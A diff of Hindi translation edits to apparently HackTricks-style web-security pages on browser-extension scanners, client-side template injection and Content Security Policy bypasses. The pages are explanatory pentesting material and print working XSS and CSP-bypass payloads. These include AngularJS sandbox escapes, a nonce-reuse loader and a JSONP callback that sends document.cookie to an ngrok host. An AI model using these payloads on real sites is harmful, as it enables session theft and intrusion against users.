- **ज्ञात कमजोर पुस्तकालय**: यह ज्ञात-कमजोर जावास्क्रिप्ट पुस्तकालयों के किसी भी उपयोग की जांच के लिए [Retire.js](https://retirejs.github.io/retire.js/) का उपयोग करता है।
|
||||
- एक्सटेंशन और स्वरूपित संस्करण डाउनलोड करें।
|
||||
- मूल एक्सटेंशन डाउनलोड करें।
|
||||
- एक्सटेंशन का एक सुंदर संस्करण डाउनलोड करें (स्वचालित रूप से सुंदर HTML और जावास्क्रिप्ट)।
|
||||
- स्कैन परिणामों का स्वचालित कैशिंग, एक एक्सटेंशन स्कैन चलाने में पहले बार में अच्छा समय लगेगा। हालाँकि दूसरी बार, यदि एक्सटेंशन को अपडेट नहीं किया गया है, तो परिणाम कैश किए जाने के कारण लगभग तात्कालिक होगा।
|
||||
- लिंक करने योग्य रिपोर्ट URL, किसी अन्य व्यक्ति को tarnish द्वारा उत्पन्न एक्सटेंशन रिपोर्ट से आसानी से लिंक करें।
|
||||
- एक्सटेंशन का एक सुंदर संस्करण डाउनलोड करें (स्वचालित रूप से प्रेटीफाइड HTML और जावास्क्रिप्ट)।
|
||||
- स्कैन परिणामों का स्वचालित कैशिंग, एक एक्सटेंशन स्कैन चलाने में पहले बार में अच्छा समय लगेगा। हालाँकि दूसरी बार, यह मानते हुए कि एक्सटेंशन को अपडेट नहीं किया गया है, परिणामों के कैश होने के कारण लगभग तात्कालिक होगा।
|
||||
- लिंक करने योग्य रिपोर्ट URLs, किसी अन्य व्यक्ति को tarnish द्वारा उत्पन्न एक्सटेंशन रिपोर्ट से आसानी से लिंक करें।
|
||||
|
||||
### [Neto](https://github.com/elevenpaths/neto)
|
||||
|
||||
प्रोजेक्ट Neto एक Python 3 पैकेज है जिसे फ़ायरफ़ॉक्स और क्रोम जैसे प्रसिद्ध ब्राउज़रों के लिए ब्राउज़र प्लगइन्स और एक्सटेंशनों की छिपी हुई विशेषताओं का विश्लेषण और अनावरण करने के लिए तैयार किया गया है। यह `manifest.json`, स्थानीयकरण फ़ोल्डरों या जावास्क्रिप्ट और HTML स्रोत फ़ाइलों जैसे प्रासंगिक संसाधनों से इन विशेषताओं को निकालने के लिए पैक किए गए फ़ाइलों को अनज़िप करने की प्रक्रिया को स्वचालित करता है।
|
||||
प्रोजेक्ट Neto एक Python 3 पैकेज है जिसे फ़ायरफ़ॉक्स और क्रोम जैसे प्रसिद्ध ब्राउज़रों के लिए ब्राउज़र प्लगइन्स और एक्सटेंशनों की छिपी हुई विशेषताओं का विश्लेषण और अनरवेल करने के लिए तैयार किया गया है। यह `manifest.json`, स्थानीयकरण फ़ोल्डरों या जावास्क्रिप्ट और HTML स्रोत फ़ाइलों जैसे प्रासंगिक संसाधनों से इन विशेषताओं को निकालने के लिए पैक किए गए फ़ाइलों को अनज़िप करने की प्रक्रिया को स्वचालित करता है।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
|
@ -4,15 +4,15 @@
|
||||
|
||||
## Summary
|
||||
|
||||
यह [**Server Side Template Injection**](ssti-server-side-template-injection/) की तरह है लेकिन **client** में। **SSTI** आपको **remote server** पर **code** **execute** करने की अनुमति दे सकता है, **CSTI** आपको **victim's browser** में **arbitrary JavaScript** कोड **execute** करने की अनुमति दे सकता है।
|
||||
यह [**Server Side Template Injection**](ssti-server-side-template-injection/index.html) की तरह है लेकिन **client** में। **SSTI** आपको **remote server** पर **कोड** **execute** करने की अनुमति दे सकता है, **CSTI** आपको **victim's browser** में **मनमाना JavaScript** कोड **execute** करने की अनुमति दे सकता है।
|
||||
|
||||
इस सुरक्षा कमजोरी के लिए **Testing** **SSTI** के मामले में बहुत **similar** है, interpreter **a template** की अपेक्षा करता है और इसे **execute** करेगा। उदाहरण के लिए, एक payload जैसे `{{ 7-7 }}` के साथ, यदि ऐप **vulnerable** है तो आप `0` देखेंगे, और यदि नहीं, तो आप मूल: `{{ 7-7 }}` देखेंगे।
|
||||
इस सुरक्षा कमजोरी के लिए **Testing** **SSTI** के मामले में बहुत **similar** है, interpreter **a template** की अपेक्षा करता है और इसे execute करेगा। उदाहरण के लिए, एक payload जैसे `{{ 7-7 }}` के साथ, यदि ऐप **vulnerable** है तो आप `0` देखेंगे, और यदि नहीं, तो आप मूल: `{{ 7-7 }}` देखेंगे।
|
||||
|
||||
## AngularJS
|
||||
|
||||
AngularJS एक व्यापक रूप से उपयोग किया जाने वाला JavaScript framework है जो HTML के साथ attributes के माध्यम से बातचीत करता है, जिसमें एक उल्लेखनीय **`ng-app`** है। यह directive AngularJS को HTML सामग्री को संसाधित करने की अनुमति देता है, जिससे डबल कर्ली ब्रेसेस के अंदर JavaScript expressions को execute किया जा सके।
|
||||
AngularJS एक व्यापक रूप से उपयोग किया जाने वाला JavaScript फ्रेमवर्क है जो HTML के साथ attributes के माध्यम से बातचीत करता है, जिसमें एक उल्लेखनीय **`ng-app`** है। यह directive AngularJS को HTML सामग्री को प्रोसेस करने की अनुमति देता है, जिससे डबल कर्ली ब्रेसेस के अंदर JavaScript expressions को execute किया जा सके।
|
||||
|
||||
ऐसे परिदृश्यों में जहां उपयोगकर्ता इनपुट को `ng-app` के साथ टैग किए गए HTML body में गतिशील रूप से डाला जाता है, यह arbitrary JavaScript कोड को execute करना संभव है। यह इनपुट के भीतर AngularJS की syntax का लाभ उठाकर किया जा सकता है। नीचे उदाहरण दिए गए हैं जो दिखाते हैं कि JavaScript कोड कैसे execute किया जा सकता है:
|
||||
ऐसे परिदृश्यों में जहां उपयोगकर्ता इनपुट को `ng-app` के साथ टैग की गई HTML body में गतिशील रूप से डाला जाता है, मनमाना JavaScript कोड execute करना संभव है। यह इनपुट के भीतर AngularJS की syntax का लाभ उठाकर किया जा सकता है। नीचे उदाहरण दिए गए हैं जो दिखाते हैं कि कैसे JavaScript कोड को execute किया जा सकता है:
|
||||
```javascript
|
||||
{{$on.constructor('alert(1)')()}}
|
||||
{{constructor.constructor('alert(1)')()}}
|
||||
@ -35,7 +35,7 @@ AngularJS एक व्यापक रूप से उपयोग किय
|
||||
<!-- Google Research - Vue.js-->
|
||||
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
|
||||
```
|
||||
एक वास्तव में अच्छा पोस्ट CSTI पर VUE में [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) पाया जा सकता है
|
||||
CSTI पर VUE में एक बहुत अच्छा पोस्ट [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) पर पाया जा सकता है।
|
||||
|
||||
### **V3**
|
||||
```
|
||||
@ -47,13 +47,13 @@ AngularJS एक व्यापक रूप से उपयोग किय
|
||||
```
|
||||
{{constructor.constructor('alert(1)')()}}
|
||||
```
|
||||
क्रेडिट: [Mario Heiderich](https://twitter.com/cure53berlin)
|
||||
Credit: [Mario Heiderich](https://twitter.com/cure53berlin)
|
||||
|
||||
**अधिक VUE पेलोड्स देखें** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
|
||||
|
||||
## Mavo
|
||||
|
||||
पेलोड:
|
||||
Payload:
|
||||
```
|
||||
[7*7]
|
||||
[(1,alert)(1)]
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## What is CSP
|
||||
|
||||
Content Security Policy (CSP) एक ब्राउज़र तकनीक के रूप में पहचानी जाती है, जिसका मुख्य उद्देश्य **क्रॉस-साइट स्क्रिप्टिंग (XSS)** जैसे हमलों से सुरक्षा करना है। यह उन पथों और स्रोतों को परिभाषित और विस्तृत करके कार्य करता है जिनसे संसाधनों को ब्राउज़र द्वारा सुरक्षित रूप से लोड किया जा सकता है। ये संसाधन छवियों, फ्रेमों और JavaScript जैसे विभिन्न तत्वों को शामिल करते हैं। उदाहरण के लिए, एक नीति एक ही डोमेन (स्वयं) से संसाधनों को लोड और निष्पादित करने की अनुमति दे सकती है, जिसमें इनलाइन संसाधन और `eval`, `setTimeout`, या `setInterval` जैसी कार्यों के माध्यम से स्ट्रिंग कोड का निष्पादन शामिल है।
|
||||
Content Security Policy (CSP) एक ब्राउज़र तकनीक के रूप में पहचानी जाती है, जिसका मुख्य उद्देश्य **क्रॉस-साइट स्क्रिप्टिंग (XSS)** जैसे हमलों से सुरक्षा करना है। यह उन पथों और स्रोतों को परिभाषित और विस्तृत करके कार्य करता है जिनसे संसाधनों को ब्राउज़र द्वारा सुरक्षित रूप से लोड किया जा सकता है। ये संसाधन छवियों, फ्रेमों और जावास्क्रिप्ट जैसे विभिन्न तत्वों को शामिल करते हैं। उदाहरण के लिए, एक नीति एक ही डोमेन (स्वयं) से संसाधनों को लोड और निष्पादित करने की अनुमति दे सकती है, जिसमें इनलाइन संसाधन और `eval`, `setTimeout`, या `setInterval` जैसी कार्यों के माध्यम से स्ट्रिंग कोड का निष्पादन शामिल है।
|
||||
|
||||
CSP का कार्यान्वयन **प्रतिक्रिया हेडर** के माध्यम से या **HTML पृष्ठ में मेटा तत्वों को शामिल करके** किया जाता है। इस नीति का पालन करते हुए, ब्राउज़र सक्रिय रूप से इन शर्तों को लागू करते हैं और तुरंत किसी भी पहचानी गई उल्लंघनों को ब्लॉक कर देते हैं।
|
||||
|
||||
@ -42,10 +42,10 @@ object-src 'none';
|
||||
- **script-src**: JavaScript के लिए विशिष्ट स्रोतों की अनुमति देता है, जिसमें URLs, इनलाइन स्क्रिप्ट और इवेंट हैंडलर्स या XSLT स्टाइलशीट द्वारा ट्रिगर की गई स्क्रिप्ट शामिल हैं।
|
||||
- **default-src**: जब विशिष्ट फेच निर्देश अनुपस्थित होते हैं, तो संसाधनों को लाने के लिए एक डिफ़ॉल्ट नीति सेट करता है।
|
||||
- **child-src**: वेब वर्कर्स और एम्बेडेड फ्रेम सामग्री के लिए अनुमत संसाधनों को निर्दिष्ट करता है।
|
||||
- **connect-src**: उन URLs को प्रतिबंधित करता है जिन्हें fetch, WebSocket, XMLHttpRequest जैसे इंटरफेस का उपयोग करके लोड किया जा सकता है।
|
||||
- **connect-src**: उन URLs को प्रतिबंधित करता है जिन्हें fetch, WebSocket, XMLHttpRequest जैसी इंटरफेस का उपयोग करके लोड किया जा सकता है।
|
||||
- **frame-src**: फ्रेम के लिए URLs को प्रतिबंधित करता है।
|
||||
- **frame-ancestors**: निर्दिष्ट करता है कि कौन से स्रोत वर्तमान पृष्ठ को एम्बेड कर सकते हैं, जो `<frame>`, `<iframe>`, `<object>`, `<embed>`, और `<applet>` जैसे तत्वों पर लागू होता है।
|
||||
- **img-src**: चित्रों के लिए अनुमत स्रोतों को परिभाषित करता है।
|
||||
- **frame-ancestors**: निर्दिष्ट करता है कि कौन से स्रोत वर्तमान पृष्ठ को एम्बेड कर सकते हैं, जैसे कि `<frame>`, `<iframe>`, `<object>`, `<embed>`, और `<applet>` तत्वों पर लागू होता है।
|
||||
- **img-src**: छवियों के लिए अनुमत स्रोतों को परिभाषित करता है।
|
||||
- **font-src**: `@font-face` का उपयोग करके लोड किए गए फोंट के लिए मान्य स्रोतों को निर्दिष्ट करता है।
|
||||
- **manifest-src**: एप्लिकेशन मैनिफेस्ट फ़ाइलों के लिए अनुमत स्रोतों को परिभाषित करता है।
|
||||
- **media-src**: मीडिया ऑब्जेक्ट्स को लोड करने के लिए अनुमत स्रोतों को परिभाषित करता है।
|
||||
@ -63,18 +63,18 @@ object-src 'none';
|
||||
### स्रोत
|
||||
|
||||
- `*`: सभी URLs की अनुमति देता है सिवाय `data:`, `blob:`, `filesystem:` स्कीमों के।
|
||||
- `'self'`: उसी डोमेन से लोड करने की अनुमति देता है।
|
||||
- `'data'`: डेटा स्कीम के माध्यम से संसाधनों को लोड करने की अनुमति देता है (जैसे, Base64 एन्कोडेड चित्र)।
|
||||
- `'self'`: समान डोमेन से लोड करने की अनुमति देता है।
|
||||
- `'data'`: डेटा स्कीम के माध्यम से संसाधनों को लोड करने की अनुमति देता है (जैसे, Base64 एन्कोडेड छवियाँ)।
|
||||
- `'none'`: किसी भी स्रोत से लोडिंग को ब्लॉक करता है।
|
||||
- `'unsafe-eval'`: `eval()` और समान विधियों के उपयोग की अनुमति देता है, सुरक्षा कारणों से अनुशंसित नहीं है।
|
||||
- `'unsafe-hashes'`: विशिष्ट इनलाइन इवेंट हैंडलर्स को सक्षम करता है।
|
||||
- `'unsafe-inline'`: इनलाइन `<script>` या `<style>` जैसे इनलाइन संसाधनों के उपयोग की अनुमति देता है, सुरक्षा कारणों से अनुशंसित नहीं है।
|
||||
- `'unsafe-inline'`: इनलाइन `<script>` या `<style>` जैसी इनलाइन संसाधनों के उपयोग की अनुमति देता है, सुरक्षा कारणों से अनुशंसित नहीं है।
|
||||
- `'nonce'`: एक क्रिप्टोग्राफिक nonce (एक बार उपयोग किया जाने वाला नंबर) का उपयोग करके विशिष्ट इनलाइन स्क्रिप्ट के लिए एक व्हाइटलिस्ट।
|
||||
- यदि आपके पास JS सीमित निष्पादन है तो यह संभव है कि पृष्ठ के अंदर एक उपयोग किया गया nonce प्राप्त किया जाए `doc.defaultView.top.document.querySelector("[nonce]")` के साथ और फिर इसे एक दुर्भावनापूर्ण स्क्रिप्ट लोड करने के लिए पुन: उपयोग किया जाए (यदि strict-dynamic का उपयोग किया गया है, तो कोई भी अनुमत स्रोत नए स्रोतों को लोड कर सकता है इसलिए इसकी आवश्यकता नहीं है), जैसे कि:
|
||||
- यदि आपके पास JS सीमित निष्पादन है, तो यह संभव है कि आप पृष्ठ के अंदर एक उपयोग किया गया nonce प्राप्त करें `doc.defaultView.top.document.querySelector("[nonce]")` के साथ और फिर इसे एक दुर्भावनापूर्ण स्क्रिप्ट लोड करने के लिए पुन: उपयोग करें (यदि strict-dynamic का उपयोग किया गया है, तो कोई भी अनुमत स्रोत नए स्रोतों को लोड कर सकता है इसलिए इसकी आवश्यकता नहीं है), जैसे कि:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Nonce का पुन: उपयोग करते हुए स्क्रिप्ट लोड करें</summary>
|
||||
<summary>Nonce का पुन: उपयोग करके स्क्रिप्ट लोड करें</summary>
|
||||
```html
|
||||
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
|
||||
<img
|
||||
@ -91,12 +91,12 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
- `'sha256-<hash>'`: एक विशिष्ट sha256 हैश के साथ स्क्रिप्ट को व्हाइटलिस्ट करता है।
|
||||
- `'strict-dynamic'`: यदि इसे nonce या हैश द्वारा व्हाइटलिस्ट किया गया है तो किसी भी स्रोत से स्क्रिप्ट लोड करने की अनुमति देता है।
|
||||
- `'host'`: एक विशिष्ट होस्ट निर्दिष्ट करता है, जैसे `example.com`।
|
||||
- `https:`: URLs को उन पर प्रतिबंधित करता है जो HTTPS का उपयोग करते हैं।
|
||||
- `https:`: उन URLs को प्रतिबंधित करता है जो HTTPS का उपयोग करते हैं।
|
||||
- `blob:`: Blob URLs (जैसे, JavaScript के माध्यम से बनाए गए Blob URLs) से संसाधनों को लोड करने की अनुमति देता है।
|
||||
- `filesystem:`: फ़ाइल सिस्टम से संसाधनों को लोड करने की अनुमति देता है।
|
||||
- `'report-sample'`: उल्लंघन रिपोर्ट में उल्लंघन करने वाले कोड का एक नमूना शामिल करता है (डिबगिंग के लिए उपयोगी)।
|
||||
- `'report-sample'`: उल्लंघन रिपोर्ट में उल्लंघन करने वाले कोड का एक नमूना शामिल करता है (डीबगिंग के लिए उपयोगी)।
|
||||
- `'strict-origin'`: 'self' के समान लेकिन सुनिश्चित करता है कि स्रोतों का प्रोटोकॉल सुरक्षा स्तर दस्तावेज़ से मेल खाता है (केवल सुरक्षित मूल सुरक्षित मूल से संसाधन लोड कर सकते हैं)।
|
||||
- `'strict-origin-when-cross-origin'`: समान मूल अनुरोध करते समय पूर्ण URLs भेजता है लेकिन केवल तब ही मूल भेजता है जब अनुरोध क्रॉस-ओरिजिन हो।
|
||||
- `'strict-origin-when-cross-origin'`: समान मूल अनुरोध करते समय पूर्ण URLs भेजता है लेकिन केवल तब मूल भेजता है जब अनुरोध क्रॉस-ओरिजिन हो।
|
||||
- `'unsafe-allow-redirects'`: संसाधनों को लोड करने की अनुमति देता है जो तुरंत किसी अन्य संसाधन पर रीडायरेक्ट करेंगे। सुरक्षा को कमजोर करने के कारण अनुशंसित नहीं है।
|
||||
|
||||
## Unsafe CSP Rules
|
||||
@ -105,9 +105,9 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
||||
```
|
||||
काम करने वाला पेलोड: `"/><script>alert(1);</script>`
|
||||
Working payload: `"/><script>alert(1);</script>`
|
||||
|
||||
#### Iframes के माध्यम से self + 'unsafe-inline'
|
||||
#### self + 'unsafe-inline' via Iframes
|
||||
|
||||
{{#ref}}
|
||||
csp-bypass-self-+-unsafe-inline-with-iframes.md
|
||||
@ -126,7 +126,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||
```
|
||||
### strict-dynamic
|
||||
|
||||
यदि आप किसी तरह एक **अनुमत JS कोड द्वारा DOM में एक नया स्क्रिप्ट टैग बनाया जा सकता है** अपने JS कोड के साथ, क्योंकि एक अनुमत स्क्रिप्ट इसे बना रही है, तो **नया स्क्रिप्ट टैग निष्पादित होने की अनुमति दी जाएगी**।
|
||||
यदि आप किसी तरह एक **अनुमत JS कोड को DOM में एक नया स्क्रिप्ट टैग बनाने के लिए मजबूर कर सकते हैं** क्योंकि एक अनुमत स्क्रिप्ट इसे बना रही है, तो **नया स्क्रिप्ट टैग निष्पादित होने की अनुमति दी जाएगी**।
|
||||
|
||||
### Wildcard (\*)
|
||||
```yaml
|
||||
@ -139,7 +139,7 @@ Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||
```
|
||||
### Lack of object-src and default-src
|
||||
|
||||
> [!CAUTION] > **यह लगता है कि यह अब काम नहीं कर रहा है**
|
||||
> [!CAUTION] > **ऐसा लगता है कि यह अब काम नहीं कर रहा है**
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self' ;
|
||||
```
|
||||
@ -161,13 +161,13 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
```
|
||||
हालांकि, यह अत्यधिक संभावित है कि सर्वर **अपलोड की गई फ़ाइल को मान्य कर रहा है** और केवल आपको **निर्धारित प्रकार की फ़ाइलें अपलोड करने की अनुमति देगा**।
|
||||
|
||||
इसके अलावा, भले ही आप सर्वर द्वारा स्वीकार की गई एक्सटेंशन (जैसे: _script.png_) का उपयोग करके एक **JS कोड फ़ाइल के अंदर** अपलोड कर सकें, यह पर्याप्त नहीं होगा क्योंकि कुछ सर्वर जैसे अपाचे सर्वर **फाइल के एक्सटेंशन के आधार पर MIME प्रकार का चयन करते हैं** और ब्राउज़र जैसे Chrome **जावास्क्रिप्ट** कोड को कुछ ऐसा करने से **अस्वीकृत कर देंगे जो एक छवि होनी चाहिए**। "उम्मीद है", वहाँ गलतियाँ हैं। उदाहरण के लिए, एक CTF से मैंने सीखा कि **Apache को _**.wave**_ एक्सटेंशन का पता नहीं है, इसलिए यह इसे **MIME प्रकार जैसे audio/\*** के साथ सर्व नहीं करता है।
|
||||
इसके अलावा, भले ही आप सर्वर द्वारा स्वीकार की गई एक्सटेंशन (जैसे: _script.png_) का उपयोग करके एक फ़ाइल के अंदर **JS कोड अपलोड** कर सकें, यह पर्याप्त नहीं होगा क्योंकि कुछ सर्वर जैसे अपाचे सर्वर **फाइल के एक्सटेंशन के आधार पर MIME प्रकार का चयन करते हैं** और ब्राउज़र जैसे Chrome **Javascript** कोड को कुछ ऐसा करने के लिए **अस्वीकृत कर देंगे जो एक छवि होनी चाहिए**। "उम्मीद है", वहाँ गलतियाँ हैं। उदाहरण के लिए, एक CTF से मैंने सीखा कि **Apache को _**.wave**_ एक्सटेंशन का पता नहीं है, इसलिए यह इसे **MIME प्रकार जैसे audio/\*** के साथ सर्व नहीं करता है।
|
||||
|
||||
यहां से, यदि आप एक XSS और एक फ़ाइल अपलोड पाते हैं, और आप एक **गलत व्याख्यायित एक्सटेंशन** खोजने में सफल होते हैं, तो आप उस एक्सटेंशन के साथ एक फ़ाइल अपलोड करने और स्क्रिप्ट की सामग्री को आज़मा सकते हैं। या, यदि सर्वर अपलोड की गई फ़ाइल के सही प्रारूप की जांच कर रहा है, तो एक पॉलीग्लॉट बनाएं ([यहां कुछ पॉलीग्लॉट उदाहरण](https://github.com/Polydet/polyglot-database))।
|
||||
यहां से, यदि आप एक XSS और एक फ़ाइल अपलोड पाते हैं, और आप एक **गलत व्याख्यायित एक्सटेंशन** खोजने में सफल होते हैं, तो आप उस एक्सटेंशन के साथ एक फ़ाइल अपलोड करने और स्क्रिप्ट की सामग्री को आज़मा सकते हैं। या, यदि सर्वर अपलोड की गई फ़ाइल के सही प्रारूप की जांच कर रहा है, तो एक पॉलीग्लॉट बनाएं ([कुछ पॉलीग्लॉट उदाहरण यहाँ](https://github.com/Polydet/polyglot-database))।
|
||||
|
||||
### Form-action
|
||||
|
||||
यदि JS इंजेक्ट करना संभव नहीं है, तो आप उदाहरण के लिए क्रेडेंशियल्स को **फॉर्म एक्शन इंजेक्ट करके** निकालने की कोशिश कर सकते हैं (और शायद पासवर्ड प्रबंधकों से पासवर्ड स्वचालित रूप से भरने की उम्मीद कर सकते हैं)। आप [**इस रिपोर्ट में एक उदाहरण पा सकते हैं**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)। इसके अलावा, ध्यान दें कि `default-src` फॉर्म क्रियाओं को कवर नहीं करता है।
|
||||
यदि JS इंजेक्ट करना संभव नहीं है, तो आप अभी भी उदाहरण के लिए क्रेडेंशियल्स को **फॉर्म एक्शन इंजेक्ट करके** निकालने की कोशिश कर सकते हैं (और शायद पासवर्ड प्रबंधकों से पासवर्ड स्वचालित रूप से भरने की अपेक्षा कर सकते हैं)। आप [**इस रिपोर्ट में एक उदाहरण पा सकते हैं**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)। इसके अलावा, ध्यान दें कि `default-src` फॉर्म क्रियाओं को कवर नहीं करता है।
|
||||
|
||||
### Third Party Endpoints + ('unsafe-eval')
|
||||
|
||||
@ -197,10 +197,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
||||
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
|
||||
>
|
||||
```
|
||||
#### Angular + एक लाइब्रेरी का उपयोग करके Payloads जिसमें ऐसे फ़ंक्शन हैं जो `window` ऑब्जेक्ट लौटाते हैं ([इस पोस्ट को देखें](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
#### Angular + एक लाइब्रेरी का उपयोग करते हुए Payloads जो `window` ऑब्जेक्ट लौटाती हैं ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
|
||||
> [!NOTE]
|
||||
> यह पोस्ट दिखाती है कि आप `cdn.cloudflare.com` (या किसी अन्य अनुमत JS लाइब्रेरी रिपॉजिटरी) से सभी **लाइब्रेरीज़** को **लोड** कर सकते हैं, प्रत्येक लाइब्रेरी से सभी जोड़े गए फ़ंक्शनों को निष्पादित कर सकते हैं, और **यह जांच सकते हैं कि कौन से फ़ंक्शन किस लाइब्रेरी से `window` ऑब्जेक्ट लौटाते हैं**।
|
||||
> यह पोस्ट दिखाती है कि आप `cdn.cloudflare.com` (या किसी अन्य अनुमत JS लाइब्रेरी रिपॉजिटरी) से सभी **लाइब्रेरीज़** को **लोड** कर सकते हैं, प्रत्येक लाइब्रेरी से सभी जोड़ी गई फ़ंक्शंस को निष्पादित कर सकते हैं, और **यह जांच सकते हैं कि कौन से फ़ंक्शंस कौन सी लाइब्रेरीज़ से `window` ऑब्जेक्ट लौटाते हैं**।
|
||||
```markup
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
|
||||
@ -224,7 +224,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
||||
{{[].erase.call().alert('xss')}}
|
||||
</div>
|
||||
```
|
||||
क्लास नाम से Angular XSS:
|
||||
Angular XSS एक क्लास नाम से:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
@ -232,7 +232,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
||||
```
|
||||
#### Google reCAPTCHA JS कोड का दुरुपयोग
|
||||
|
||||
[**इस CTF लेख**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) के अनुसार, आप CSP के अंदर [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) का दुरुपयोग करके मनमाने JS कोड को CSP को बायपास करते हुए निष्पादित कर सकते हैं:
|
||||
According to [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) you can abuse [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) inside a CSP to execute arbitrary JS code bypassing the CSP:
|
||||
```html
|
||||
<div
|
||||
ng-controller="CarouselController as c"
|
||||
@ -266,15 +266,15 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
```
|
||||
https://www.google.com/amp/s/example.com/
|
||||
```
|
||||
\*.google.com/script.google.com का दुरुपयोग करना
|
||||
Abusing \*.google.com/script.google.com
|
||||
|
||||
Google Apps Script का दुरुपयोग करना संभव है ताकि script.google.com के अंदर एक पृष्ठ में जानकारी प्राप्त की जा सके। जैसे कि इसे [इस रिपोर्ट](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) में किया गया है।
|
||||
Google Apps Script का दुरुपयोग करके script.google.com के अंदर एक पृष्ठ में जानकारी प्राप्त करना संभव है। जैसे कि इसे [इस रिपोर्ट में किया गया है](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/)।
|
||||
|
||||
### थर्ड पार्टी एंडपॉइंट्स + JSONP
|
||||
### Third Party Endpoints + JSONP
|
||||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
ऐसे परिदृश्य जहां `script-src` को `self` और एक विशेष डोमेन पर सेट किया गया है जिसे व्हाइटलिस्ट किया गया है, JSONP का उपयोग करके बायपास किया जा सकता है। JSONP एंडपॉइंट असुरक्षित कॉलबैक विधियों की अनुमति देते हैं जो एक हमलावर को XSS करने की अनुमति देते हैं, कार्यशील पेलोड:
|
||||
ऐसे परिदृश्य जहाँ `script-src` को `self` और एक विशेष डोमेन पर सेट किया गया है जिसे व्हाइटलिस्ट किया गया है, JSONP का उपयोग करके बायपास किया जा सकता है। JSONP एंडपॉइंट असुरक्षित कॉलबैक विधियों की अनुमति देते हैं जो एक हमलावर को XSS करने की अनुमति देते हैं, कार्यशील पेलोड:
|
||||
```markup
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
@ -286,11 +286,11 @@ https://www.youtube.com/oembed?callback=alert;
|
||||
```
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **विभिन्न वेबसाइटों के CSP बायपास के लिए उपयोग करने के लिए तैयार JSONP एंडपॉइंट्स शामिल करता है।**
|
||||
|
||||
यदि **विश्वसनीय एंडपॉइंट में एक ओपन रीडायरेक्ट है**, तो वही भेद्यता होगी क्योंकि यदि प्रारंभिक एंडपॉइंट विश्वसनीय है, तो रीडायरेक्ट विश्वसनीय होते हैं।
|
||||
यदि **विश्वसनीय एंडपॉइंट में एक ओपन रीडायरेक्ट है**, तो वही भेद्यता उत्पन्न होगी क्योंकि यदि प्रारंभिक एंडपॉइंट विश्वसनीय है, तो रीडायरेक्ट विश्वसनीय होते हैं।
|
||||
|
||||
### थर्ड पार्टी दुरुपयोग
|
||||
|
||||
जैसा कि [निम्नलिखित पोस्ट](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) में वर्णित है, कई थर्ड पार्टी डोमेन हैं, जो CSP में कहीं न कहीं अनुमति दी जा सकती हैं, जिन्हें डेटा को एक्सफिल्ट्रेट करने या जावास्क्रिप्ट कोड को निष्पादित करने के लिए दुरुपयोग किया जा सकता है। इनमें से कुछ थर्ड-पार्टी हैं:
|
||||
जैसा कि [निम्नलिखित पोस्ट](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) में वर्णित है, कई थर्ड पार्टी डोमेन हैं, जो CSP में कहीं न कहीं अनुमति दी जा सकती हैं, जिन्हें डेटा को एक्सफिल्ट्रेट करने या जावास्क्रिप्ट कोड निष्पादित करने के लिए दुरुपयोग किया जा सकता है। इनमें से कुछ थर्ड-पार्टी हैं:
|
||||
|
||||
| Entity | Allowed Domain | Capabilities |
|
||||
| ----------------- | -------------------------------------------- | ------------ |
|
